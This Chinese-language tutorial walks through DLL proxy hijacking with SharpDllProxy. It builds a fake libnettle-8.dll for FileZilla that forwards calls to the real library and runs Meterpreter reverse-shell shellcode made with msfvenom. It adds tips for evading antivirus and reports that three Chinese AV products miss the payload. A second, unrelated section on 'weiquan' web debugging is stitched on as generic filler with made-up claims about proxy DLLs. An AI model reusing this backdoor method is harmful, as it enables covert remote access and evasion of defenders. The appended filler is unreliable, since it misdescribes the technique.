如何进行DLL代理转发与weiquan分析

DLL劫持

再Windows 7 版本之后,系统采用了KnowDLLs对DLL进行管理,其位于注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs下,在这个下面的DLL文件会被禁止从exe自身所在的目录下调用,而只能从系统目录(System32)目录下调用。造成DLL劫持的原因是因为并非所有的DLL都会被写入注册表中。

使用msfvenom生成的dll直接秒杀。

如何进行DLL代理转发与weiquan分析

SharpDllProxy

听名字大概类似于socks代理一样。工具来源自:https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/。具体实现还可以参考这篇大佬的博客.

前言

先理解下动态链接库的运行原理。如果应用程序A要使用动态链接库DataFunctions.dll里面的GetFunkyData()函数,就需要加载DataFunctions.dll动态链接库。这个工具就是出于这一点考虑,创建一个名字一模一样的DataFunction.dll动态链接库,他的功能有两个:①做个快捷键,将所有的功能转发到千真万确的动态链接库DataFunctions.dll,这就是名字中proxy的由来;②在这个假冒的DataFunctions.dll里面写入shellcode。附上作者原图:

实验过程

目标程序

花费了些时间搞这实验,例如FileZilla软件,怎么去找这个需要加载的dll呢?如作者说的,把该软件拷贝出去就知道他缺什么了。如下:

那就说明运行改应用程序需要加载该DLL文件,那就针对这个DLL做一个假的libnettle-8.dll。

生成shellcode

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw >
shell.bin

实验开始

首先下载SharpDllProxy:https://github.com/Flangvik/SharpDllProxy,然后使用visual studio 2019对其进行编译,尽量不要使用其他版本,因为我用了下visual studio 2017各种报错搞了半天没搞出来,也可能环境有问题。

直接使用 vs 打开 文件下的SharpDllProxy --》 生成解决方案

利用SharpDllProxy.dll创建一个伪造的libnettle-8.dll文件。将shell.bin和需要被假冒的Dll放到上图的文件中。执行如下命令:.\SharpDllProxy.exe --dll libnettle-8.dll --payload shell.bin

生成的文件包含了一个C文件和一个dll,这个dll文件就是原来的 libnettle-8.dll 文件。

来分析下这个C语言程序,从第9行到494行都是转发DLL的函数,将所有需要运行函数转发原来的DLL,让其进行处理。

到了497行就是我们插入的shellcode的地方。重点代码也就只有这么一点,其实还可以直接把shell.bin这个shellcode写入到该文件,就减少了文件可疑文件数量。在这里,我们通过VirtualAlloc内存操作将shellcode以二进制方式读入并执行。到这里就可以自己一顿操作猛如虎,各种免杀姿势用上来,例如换个加载方式,如对shellcode先加密然后解密运行。

使用 VS 编译上面的C文件。在文件菜单下选择新建,然后选择动态链接库项目,将项目命名为 libnettle-8。复制上面的C文件代码到VS中编译

将上面的三个文件(tmpD475.dll、libnettle-8.dll、shell.bin),发送到目标系统中。使用msf监听,然后运行程序,就已经返回会话了。

使用最常用的杀毒软件:360、火绒和安全管家都没有被发现。



近年来,随着网络安全意识的提高,各种应用程序对于安全加固的要求越来越高。而一种常见的应对方法就是DLL代理转发。同时,一些涉及敏感信息处理的应用程序调试,如微信企业号WEB端(weiquan)的调试也十分重要。本文将介绍如何进行DLL代理转发以及weiquan的调试方法。
一、DLL代理转发的实现
1. 代理DLL概念
代理DLL是一种DLL,其作用是在未完全实现其全部功能的前提下,暂时被另一个DLL代替。其具有一级代理、二级代理、三级代理等不同类型,每种类型的DLL都要按照相应的规范进行实现。
2. 代理DLL实现方法
代理DLL的实现分为两个阶段:准备阶段和主体阶段。在准备阶段,需要确定代理对象的接口格式,包括数据类型、函数名称、函数的传输参数和返回结果等,具体实现方式可以参考Windows操作系统提供的API规范。在主体阶段,首先需要加载代理DLL,然后根据规定的接口格式进行函数调用。
3. DLL代理转发实现原理
DLL代理转发是一种将未实现或未完全实现的DLL函数导向到其他函数或DLL中的转发技术。具体实现方式可以通过显式或隐式链接的方式来完成,其中显式链接可以通过调用LoadLibrary和GetProcAddress函数实现,而隐式链接则是直接从导入表中进行函数绑定。
二、weiquan的调试方法
1. Fiddler工具
Fiddler是一种网络调试工具,主要用于分析HTTP流量。在进行weiquan调试时,可以通过Fiddler工具截取浏览器与服务器之间的数据包,并对数据包进行分析。此外,Fiddler还支持HTTPS流量的解密,对weiquan加密过程的分析也能够得到有效的帮助。
2. Chrome开发者工具
Chrome开发者工具可以用于分析网页中的JavaScript代码,以及对javascript进行调试和修改等操作。在进行weiquan的调试时,可以通过Chrome开发者工具中的debugger功能调试JavaScript代码。
3. Charles工具
Charles是一种HTTP代理服务器,可以用于截取网络流量信息,同时也支持HTTPS流量的截取和解密。在进行weiquan的调试时,也可以通过Charles工具截取流量,并进行分析。
三、总结
本文介绍了DLL代理转发的实现方法和原理,以及weiquan的调试方法。对于对于网络安全工程师或应用程序开发者来说,掌握和实践这些技术都是十分有价值的,它们可以有效提升网络与应用程序的安全性和可靠性。